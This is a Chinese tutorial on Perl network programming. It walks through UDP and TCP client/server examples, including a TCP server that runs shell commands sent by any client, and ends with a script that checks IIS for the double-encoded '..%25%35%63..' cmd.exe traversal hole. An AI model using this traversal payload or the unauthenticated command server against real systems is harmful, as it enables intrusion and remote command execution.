perl网络编程

来源:互联网 发布:python 推荐系统算法 编辑:程序博客网 时间:2024/05/17 01:57

Perl很强大,不仅能开发CGI方面的程序,还可以用它进行网络程序的开发。Perl使网络编程更简单,开发速度更快。目前Perl应用范围除了系统维护,程序运行时配置CGI(现在应用的很少了),便是用来进行hacker脚本的编写。Perl脚本的特点是 “简练而强大”,非常适合写Exploit。在网络上可以找到很多国外hacker用Perl写的Exploit程序,而在国内就少了很多。由于大部分Exploit程序都是网络方面的程序,因此本文将介绍如何使用Perl进行网络编程,通过一些小的例子来让大家熟悉Perl的网络编程。本文不会涉及到具体漏洞利用的脚本,只是把Perl网络编程的一些基本概念介绍给大家。

希望大家能从本文中得到一些您需要的知识。

本文的约定:使用的IP地址为本地地址,所有程序均在ActivePerl5.61版测试通过。

本地IP:127.0.0.1

一、 几个网络方面的基本概念

本文主要针对初学者,所以本文在概念介绍上也将尽量使语言描述的通俗易懂,本文后面要涉及到的几个网络方面的基本概念如下:

协议:所谓的协议就是对进行通讯传输的2台计算机之间的应该共同遵守的一个行为准则或称行为规范。

TCP/IP协议:是定义了网络传输的一个协议。

UDP:用户数据报协议。UDP协议是TCP/IP协议组中传输层的协议,负责对网络传输进行控制。UDP具有不可靠性,但是手续简单。

套接字:套接字是一个类似于文件的句柄.通过建立套接字就可以对套接字进行读写操作。

二、走进Perl

Perl的函数Socket的格式为:Socket(FILE,Domain,Type,Protocol);

其中:

FILE 绑定一个套接字句柄(类似于打开文件的句柄);

Domain 表示套接字的协议域类型。它可以定义为Internet域,其值为2,也可以定义为UNIX域,如果把这个变量赋值为1表示域的类型为UNIX域。如果这个变量付值为2,则表示定义类型为Internet。我们常用的是的套接字协议族为Internet协议族。

Type 表示套接字类型,定义为SOCK_STREAM类型,表示的是基于流传输模式的TCP套接字。定义为SOCK_DGRAM类型,表示为基于简单数据传递的UDP套接字。

Protocol 表示套接字的协议号,这个协议号可以通过Perl内置函数getprotobyname()得到。

三、第一个例子

例子介绍:

下面这个程序实是一个简单的使用udp协议的服务器程序,服务端程序在端口上监听,当有客户连接后它将返回一个数据给客户程序。

#注:如图1-1

1.UDP程序服务端

<1 #!/usr/bin/Perl

<2 use strict;

<3 my $PF_INET=2;

<4 my $SOCK_DGRAM=2;

<5 my $port=2222;

<6 my $proto=getprotobyname('udp');

<7 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);

<8 my ($Cmd,$test);

<9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";

<10 bind (SOCKET,$addres);

<11 $test="test\n";

<12 while(1){

<13 my $rip=recv (SOCKET,$Cmd,100,0);

<14 send (SOCKET,$test,0,$rip);

<15 print "$Cmd";

<16      }

原代码解析:

<1   Perl解释器的路径。

<2   使用严格的语法书写程序。

<3   定义为Internet域套接字。

<4   定义套接字类型为UDP。

<5   定义程序的进程端口(这样客户程序才能连接到远程的服务程序)。

<6   得到协议号,这里是使用getprotobyname函数得到UDP的协议号。

<7   声明变量。

<8   $addres定义了一个机器的地址(这个地址就是机器辨认其他机器的标志),这个地址为16字节.利用函数pack()把他转化为2进制格式.($PF_INET)协议域是一个16位(2字节)无符号短整数值;($port)进程端口是一个16位短整形;IP地址是4个8位无符号字符.因为一个完全的地址值是16字节,所以必须要用8个空字节补齐。

<9   建立一个套接字。

<10 绑定一个套接字(因为一个外部的机器必须知道你的具体位置,所以程序必须建立一个进程的端口号,这样外部的机器才能连接到这个服务程序)

<11~16 建立一个真循环,不停地接收外部消息,通过recv函数得到消息(这个函数的返回值是远程客户的地址,通过该地址可以进行服务器和客户进行数据传输),在通过send函数与远程主机进行通讯。

四、第二个例子

例子介绍:

下面的程序是一个使用udp协议的客户端程序,客户端程序主动连接服务端,如果网络连通或不发生数据报丢失,将会得到服务器端的返回的数据。

下面我们看看使用tcp的例子,客户端程序是远程执行服务端命令的C/S结构的程序。服务端程序绑定一个端口,处理客户断的请求,并把处理后的数据返回给客户端,客户端程序通过发送一条消息给远程主机,并执行远程主机的dos命令,得到远程服务器的返回消息。

下面我们来看看代码:

2.UDP程序客户端

<1 #!/usr/bin/Perl

<2 use strict;

<3 my $PF_INET=2;

<4 my $SOCK_DGRAM=2;

<5 my $port=2222;

<6 my $proto=getprotobyname('udp');

<7 my $data;

<8 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);

<9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";

<10 bind (SOCKET,$addres);

<11 send (SOCKET,$ARGV[0],0,$addres) or die "send false";

<12 recv (SOCKET,$data,200,0);

<13 print "$data\n";

<14 if ($data) {

<15 send (SOCKET,"Test",0,$addres) ;

<16       }

客户端程序非常简单,唯一不同的是不建立循环等待连接.

五、第三个例子

例子介绍:

下面的程序是使用tcp协议的服务端程序,当客户端程序连接服务端程序,服务端程序根据请求的数据返回服务端上的相应数据,这里是返回的是在服务端执行的dos命令的数据,例如c:\>client.pl \dir c:,将返回服务端执行dir c:后的数据给客户端程序。

3.Tcp程序服务端

<1 #!/usr/bin/Perl

<2 #testservers

<3 #servers.pl

<4 #

<5 use strict;

<6 my $face=qq~

<7 ##########################################

<8 #                                                              

<9 #Perl_CMD                           

<10 ##########################################

<11 ~;

<12 print $face;

<13 undef $face;

<14 my $port=23456;

<15 my $PF_INET=2;

<16 my $SOCK_STREAM=1;

<17 my $proto=getprotobyname("tcp");

<18 my $ADDR=pack ('SnC4x8',$PF_INET,$port,127,0,0,1);

<19 my $command;

<20 $|=1;

<21 socket (SERVERS,$PF_INET,$SOCK_STREAM,$proto) or die "can't build a socket";

<22 bind (SERVERS,$ADDR ) or die "can't bind a SOCK";

<23 listen(SERVERS,2);

<24 for ( ;my $paddr=accept(CLINET,SERVERS) ;) {

<25   recv (CLINET,$command,240,0);

<26   print $command;

<27   if ($command and $command=~/^\/\//) {

<28      my @turndate=&dir($command);

<29    foreach my $onedate (@turndate) {

<30    send ( CLINET ,$onedate ,0);}

<31   }else{

<32 print CLINET "Error CMD format\n";

<33    }

<34

<35 }

<36 close CLIENT;

<37 sub dir {

<38 my $cmd=shift;

<39 $cmd=~s/^\/\/(.*)//;

<40 my @turncmd=`$cmd`;

<41 return @turncmd;

<42      }

原代码解析:

<1~13   定义一些程序中使用的变量,并赋初始值.使用use strict强制程序使用Perl的严格语法。

<14   定义服务端程序绑定的端口号。

<15    定义协议域为Internet类型。

<16 定义套接字类型为TCP。

<17 取得协议。

<18 对程序中使用的地址进行打包。

<19 定义一个取得客户端发来的数据的变量。

<20 关闭Perl的内部缓冲区,这样使我们的消息能够得到更高的优先级,立即把消息发送到远程主机。

<21 建立套接字。

<22 在本地绑定一个端口 ,这样远程的机器在连接程序的时候才能知道连接到底是哪个进程。

<23 允许在这个套接字上等待的队列数量。

<24 建立真循环,并接受请求,并把请求的地址绑定成一个文件句柄。

<25 通过accept函数得到句柄得到请求的数据。

<26 使用recv函数,取得连接的远程主机的消息。

<27 做判断,看是否是使用了内部约定的命令格式。

<28 执行命令。        

<29~35 把处理后的数据返回给连接的客户端 。

<36 关闭与这个远程主机的连接。

<37~43 执行dos命令的子函数。

六、第四个例子

例子介绍:

下面的程序是使用tcp协议的客户端程序,当脚本servers.pl程序被运行后,它会在远程等待客户程序的连接,我们这里的clinet.pl脚本就是针对上面程序写的客户端程序。例如:在dos命令输入c:\>perl clinet.pl \dir c:\ 这样服务器将返回远程主机c:\的下的所有目录的名字。

4.客户端程序

Tcp Programming  

<1 #!/usr/bin/Perl

<2 #testclinet

<3 #clinet.pl

<4 #

<5 use strict;

<6 my $port=23456;

<7 my $PF_INET=2;

<8 my $SOCK_STREAM=1;

<9 my $proto=getprotobyname("tcp");

<10 $|=1;

<11 my $ADDR=pack('SnC4x8',$PF_INET,$port,127,0,0,1);

<12 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket";

<13 connect (SOCKET,$ADDR) or die "cna't link";

<14 my $cmd=join ("\t",@ARGV);

<15 send (SOCKET,"$cmd",0);

<16 while(<SOCKET>) {

<17   print $_;

<18 };

原代码解析:

<1~9   得到请求主机的端口,取得程序使用协议域,套接字类型,协议号等。

<10   关闭缓冲,使数据立刻发送出去,而不是放在本地的Perl缓冲区里。

<11   转换IP地址。

<12   建立套接字。

<13   连接远程主机。

<15   发送消息到远程主机。

<16~18 对远程主机的响应进行处理。

七、一个测试IIS漏洞的例子

例子介绍:

下面的程序是通过连接远程主机的ip地址,通过与主机建立tcp连接,并发送http的内部命令get和特殊编码的数据来测试远程的IIS服务器是否存在漏洞.

5.测试IIS漏洞程序

<1 #!/Perl/bin/Perl -w

<2 use strict;

<3 my $port=80;

<4 my $PF_INET=2;

<5 my $SOCK_STREAM=1;

<6 my $proto=getprotobyname("tcp");

<7 my $open_or_close;

<8 $|=1;

<9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);

<10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket";

<11 connect (SOCKET,$addres) or die "cna't link";

<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/

c+dir HTTP/1.0\n\n",0);

<13 while(<SOCKET>) {

<14   if (m/Directory/){

<15   $open_or_close=1;

<16    }

<17 }

<18 if ($open_or_close eq "1") {

<19   print "This IIS have the bug\n";

<20 }else{

<21   print "This IIS havn't the bug\n";

<21 }

原代码解析:

这里我只解析几个和实现验证IIS是否存在漏洞相关的程序片段。

<11 这里是连接远程主机的80端口(通常这个端口是分配给http服务)。

<12 通过与远程主机建立的套接字,发送一个http协议的命令“GET”给远程主机。

<13 得到远程主机返回的数据。

<14 进行测试,判断时候包含“Directory”字符,如果包含,就说明这个机器有这个漏洞。

<15~21 程序通过对变量$open_or_close的判断,验证IIS是否存在漏洞。当$open_or_close为”0”时表示IIS没有漏洞,为”1”时表示程序发现IIS存在漏洞。


0 0
原创粉丝点击